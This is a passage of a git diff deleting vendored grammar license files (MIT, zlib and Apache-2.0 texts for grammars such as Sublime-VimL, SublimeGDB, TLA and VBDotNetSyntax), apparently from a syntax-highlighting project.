-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-VimL.txt b/vendor/licenses/grammar/Sublime-VimL.txt
deleted file mode 100644
index fe443d3eba..0000000000
--- a/vendor/licenses/grammar/Sublime-VimL.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Sublime-VimL
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Max Vasiliev, Salvatore Gentile
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/SublimeBrainfuck.txt b/vendor/licenses/grammar/SublimeBrainfuck.txt
deleted file mode 100644
index df8647800b..0000000000
--- a/vendor/licenses/grammar/SublimeBrainfuck.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: SublimeBrainfuck
-license: mit
----
-All of SublimeBrainfuck is licensed under the MIT license.
-
-Copyright (c) 2013 Felix Bytow <felix.bytow@googlemail.com>
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/SublimeClarion.txt b/vendor/licenses/grammar/SublimeClarion.txt
deleted file mode 100644
index 4446730122..0000000000
--- a/vendor/licenses/grammar/SublimeClarion.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: SublimeClarion
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Fushnisoft
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/SublimeGDB.txt b/vendor/licenses/grammar/SublimeGDB.txt
deleted file mode 100644
index 3140ffb09d..0000000000
--- a/vendor/licenses/grammar/SublimeGDB.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: SublimeGDB
-license: zlib
----
-Copyright (c) 2012 Fredrik Ehnbom
-
-This software is provided 'as-is', without any express or implied
-warranty. In no event will the authors be held liable for any damages
-arising from the use of this software.
-
-Permission is granted to anyone to use this software for any purpose,
-including commercial applications, and to alter it and redistribute it
-freely, subject to the following restrictions:
-
-   1. The origin of this software must not be misrepresented; you must not
-   claim that you wrote the original software. If you use this software
-   in a product, an acknowledgment in the product documentation would be
-   appreciated but is not required.
-
-   2. Altered source versions must be plainly marked as such, and must not be
-   misrepresented as being the original software.
-
-   3. This notice may not be removed or altered from any source
-   distribution.
diff --git a/vendor/licenses/grammar/SublimePapyrus.txt b/vendor/licenses/grammar/SublimePapyrus.txt
deleted file mode 100644
index cf1524b0c2..0000000000
--- a/vendor/licenses/grammar/SublimePapyrus.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: SublimePapyrus
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2016 Kapiainen
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/SublimePuppet.txt b/vendor/licenses/grammar/SublimePuppet.txt
deleted file mode 100644
index efe82f9634..0000000000
--- a/vendor/licenses/grammar/SublimePuppet.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: SublimePuppet
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Peter Souter
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/SublimeXtend.txt b/vendor/licenses/grammar/SublimeXtend.txt
deleted file mode 100644
index ad89f207d3..0000000000
--- a/vendor/licenses/grammar/SublimeXtend.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: SublimeXtend
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Andre Staltz
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/TLA.txt b/vendor/licenses/grammar/TLA.txt
deleted file mode 100644
index 882d33bc4a..0000000000
--- a/vendor/licenses/grammar/TLA.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: TLA
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 Microsoft and HP
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/TXL.txt b/vendor/licenses/grammar/TXL.txt
deleted file mode 100644
index 797de643b0..0000000000
--- a/vendor/licenses/grammar/TXL.txt
+++ /dev/null
@@ -1,207 +0,0 @@
----
-type: grammar
-name: TXL
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/vendor/licenses/grammar/Textmate-Gosu-Bundle.txt b/vendor/licenses/grammar/Textmate-Gosu-Bundle.txt
deleted file mode 100644
index 2d6f787c22..0000000000
--- a/vendor/licenses/grammar/Textmate-Gosu-Bundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: Textmate-Gosu-Bundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 JP Camara
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/UrWeb-Language-Definition.txt b/vendor/licenses/grammar/UrWeb-Language-Definition.txt
deleted file mode 100644
index 2f8fd5d22e..0000000000
--- a/vendor/licenses/grammar/UrWeb-Language-Definition.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: UrWeb-Language-Definition
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 Sean James
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/VBDotNetSyntax.txt b/vendor/licenses/grammar/VBDotNetSyntax.txt
deleted file mode 100644
index b73b554cad..0000000000
--- a/vendor/licenses/grammar/VBDotNetSyntax.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: VBDotNetSyntax
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
